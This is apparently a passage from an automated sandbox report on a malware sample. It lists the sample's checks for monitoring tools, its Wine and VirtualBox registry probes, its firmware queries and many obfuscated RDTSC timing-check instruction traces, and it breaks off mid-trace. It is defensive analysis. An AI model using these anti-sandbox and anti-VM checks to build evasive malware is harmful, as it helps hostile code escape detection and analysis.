Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC0E6 second address: 3DC0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A935 second address: 55A94D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF399017D82h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A94D second address: 55A959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF398EAF4C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AC19 second address: 55AC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AC1D second address: 55AC28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D35A second address: 55D35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D35E second address: 55D39D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FF398EAF4D0h 0x0000000c jmp 00007FF398EAF4CAh 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FF398EAF4D9h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007FF398EAF4CCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D39D second address: 55D3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D3A1 second address: 55D3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF398EAF4CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D3B2 second address: 55D3ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e jmp 00007FF399017D7Ch 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FF399017D76h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D3ED second address: 55D40C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D4E9 second address: 55D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 and edx, 415D1135h 0x0000000f add dword ptr [ebp+122D2ED0h], esi 0x00000015 push 00000000h 0x00000017 push 28B97120h 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D509 second address: 55D586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF398EAF4C6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FF398EAF4D0h 0x00000011 pop ecx 0x00000012 popad 0x00000013 xor dword ptr [esp], 28B971A0h 0x0000001a or dword ptr [ebp+122D23EBh], edx 0x00000020 push 00000003h 0x00000022 stc 0x00000023 push 00000000h 0x00000025 mov edi, dword ptr [ebp+122D3055h] 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FF398EAF4C8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 jmp 00007FF398EAF4CCh 0x0000004c call 00007FF398EAF4C9h 0x00000051 push eax 0x00000052 push edx 0x00000053 jnc 00007FF398EAF4CCh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D586 second address: 55D5B3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF399017D7Ch 0x00000008 ja 00007FF399017D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jns 00007FF399017D7Eh 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jbe 00007FF399017D78h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D5B3 second address: 55D609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jne 00007FF398EAF4CEh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push esi 0x00000016 jne 00007FF398EAF4D1h 0x0000001c pop esi 0x0000001d pop eax 0x0000001e lea ebx, dword ptr [ebp+1245513Dh] 0x00000024 or dword ptr [ebp+122D21B0h], ecx 0x0000002a push eax 0x0000002b jbe 00007FF398EAF4E1h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D609 second address: 55D60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D773 second address: 55D782 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D782 second address: 55D786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D786 second address: 55D78C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D78C second address: 55D7A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7A7 second address: 55D7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7AB second address: 55D7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7AF second address: 55D7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF398EAF4CFh 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7CC second address: 55D7E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF399017D85h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7E9 second address: 55D806 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FF398EAF4CCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D806 second address: 55D810 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF399017D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D810 second address: 55D830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov si, 7C7Ah 0x0000000b lea ebx, dword ptr [ebp+12455148h] 0x00000011 mov si, 4AE2h 0x00000015 xchg eax, ebx 0x00000016 jng 00007FF398EAF4D0h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BF06 second address: 57BF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BF0A second address: 57BF0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C09D second address: 57C0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF399017D84h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FF399017D83h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C0CE second address: 57C0D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C4DC second address: 57C4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C4E0 second address: 57C500 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FF398EAF4DAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C67E second address: 57C682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C682 second address: 57C691 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF398EAF4C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C7D6 second address: 57C7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C952 second address: 57C95C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CAA5 second address: 57CAAF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF399017D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CAAF second address: 57CAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF398EAF4D4h 0x0000000c jmp 00007FF398EAF4CFh 0x00000011 jmp 00007FF398EAF4D0h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CAEC second address: 57CB19 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF399017D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF399017D7Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF399017D7Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CC73 second address: 57CC81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FF398EAF4C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CC81 second address: 57CC96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5559D8 second address: 5559EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5559EA second address: 5559FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5559FC second address: 555A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555A00 second address: 555A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF399017D83h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CDCD second address: 57CDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D444 second address: 57D44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D591 second address: 57D596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D596 second address: 57D5C6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF399017D8Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF399017D87h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF399017D7Bh 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D5C6 second address: 57D5D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5836D8 second address: 5836E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5836E2 second address: 5836E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549CC4 second address: 549CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF399017D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549CCE second address: 549CE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FF398EAF4CEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588858 second address: 58886C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58886C second address: 588872 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588872 second address: 588877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B8C9 second address: 58B8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B99E second address: 58BA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 add dword ptr [esp], 7704686Dh 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF399017D78h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 call 00007FF399017D88h 0x0000002b pop edi 0x0000002c call 00007FF399017D79h 0x00000031 jg 00007FF399017D82h 0x00000037 push eax 0x00000038 push edi 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58BA05 second address: 58BA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a js 00007FF398EAF4CEh 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58BB10 second address: 58BB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58BDD0 second address: 58BDD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58BF8D second address: 58BF97 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF399017D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C6BA second address: 58C6ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FF398EAF4E3h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF398EAF4D1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CA78 second address: 58CA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CA7C second address: 58CA80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CAEE second address: 58CAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CAF2 second address: 58CAF8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CAF8 second address: 58CB48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF399017D76h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop edi 0x00000014 pop edi 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FF399017D78h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push esi 0x00000031 mov dword ptr [ebp+122D2E77h], edi 0x00000037 pop esi 0x00000038 mov di, ADFEh 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jc 00007FF399017D7Ch 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CB48 second address: 58CB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CB4C second address: 58CB76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FF399017D88h 0x0000000f jc 00007FF399017D7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FC4B second address: 58FC64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF398EAF4CAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5902B3 second address: 59032A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF399017D7Eh 0x0000000e nop 0x0000000f or edi, 4CF11F47h 0x00000015 mov esi, ecx 0x00000017 push 00000000h 0x00000019 mov esi, dword ptr [ebp+122D2BC8h] 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007FF399017D78h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b call 00007FF399017D88h 0x00000040 add di, 667Dh 0x00000045 pop esi 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FF399017D7Bh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590DB0 second address: 590DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5918D0 second address: 5918D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592493 second address: 59251A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jne 00007FF398EAF4C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jnp 00007FF398EAF4CEh 0x00000015 nop 0x00000016 mov esi, dword ptr [ebp+122D2980h] 0x0000001c mov dword ptr [ebp+12459BFBh], edx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FF398EAF4C8h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov esi, 4ED068A6h 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007FF398EAF4C8h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], 